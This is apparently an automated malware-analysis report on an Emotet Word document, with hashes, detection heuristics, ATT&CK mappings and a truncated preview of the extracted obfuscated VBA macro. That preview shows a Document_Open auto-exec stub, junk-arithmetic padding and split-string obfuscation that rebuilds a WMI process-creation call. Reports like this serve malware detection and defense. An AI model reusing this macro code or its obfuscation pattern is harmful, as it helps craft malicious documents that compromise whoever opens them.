Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 79ae23cf1c1c4304…

MALICIOUS

Office (OLE)

241.5 KB Created: 2020-08-25 06:33:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: e670adb4d07a25675a97e266fd6aa64f SHA-1: 08d9e67d34a2476bde6e0653e2481fca76399335 SHA-256: 79ae23cf1c1c430439e7382db55d5e59cd2e27ab448b81801b22f0bc0014eefe
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of Emotet malware. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' and the ClamAV detection 'Doc.Downloader.Emotet-9492538-0' strongly suggest this family. The VBA code is heavily obfuscated but its structure points to a downloader function.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9492538-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9492538-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14584 bytes
SHA-256: 6b7307a509dbcc164a37039e7f0592d1424c012bf12e7d42027a71a454b72635
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Hvelqt1m18ymtt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
T3sxg8r81b9z7cy0fc.Ke____4rq4yixo9k
End Sub


Attribute VB_Name = "T3sxg8r81b9z7cy0fc"
Attribute VB_Base = "0{EB7F55CD-7EEE-4ED7-A4A4-EEA11F5DE15A}{F7255911-EE38-4EA6-BE99-7644EE4458F9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Ke____4rq4yixo9k()
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Aekhlk85u7gdjiq = 100
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Dygeybzc30lhu = ChrW(Aekhlk85u7gdjiq + (15))
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Wxw4ulp7nco99e6o30 = "23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[w23&bh s6[[hu12 712tdd]]s hj[i23&bh s6[[hu12 712tdd]]s hj[nm23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[gm23&bh s6[[hu12 712tdd]]s hj[t23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[" + Dygeybzc30lhu + "23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[:23&bh s6[[hu12 712tdd]]s hj[w23&bh s6[[hu12 712tdd]]s hj[in23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[323&bh s6[[hu12 712tdd]]s hj[223&bh s6[[hu12 712tdd]]s hj[_23&bh s6[[hu12 712tdd]]s hj[" + T3sxg8r81b9z7cy0fc.Inrc01oc9n1k0q7 + "23&bh s6[[hu12 712tdd]]s hj[ro23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[ce23&bh s6[[hu12 712tdd]]s hj[s23&bh s6[[hu12 712tdd]]s hj[s23&bh s6[[hu12 712tdd]]s hj["
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Av3lxinyzkv2n1hmck = Advgwrispg_0afv31x(Wxw4ulp7nco99e6o30)
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 430
... (truncated)

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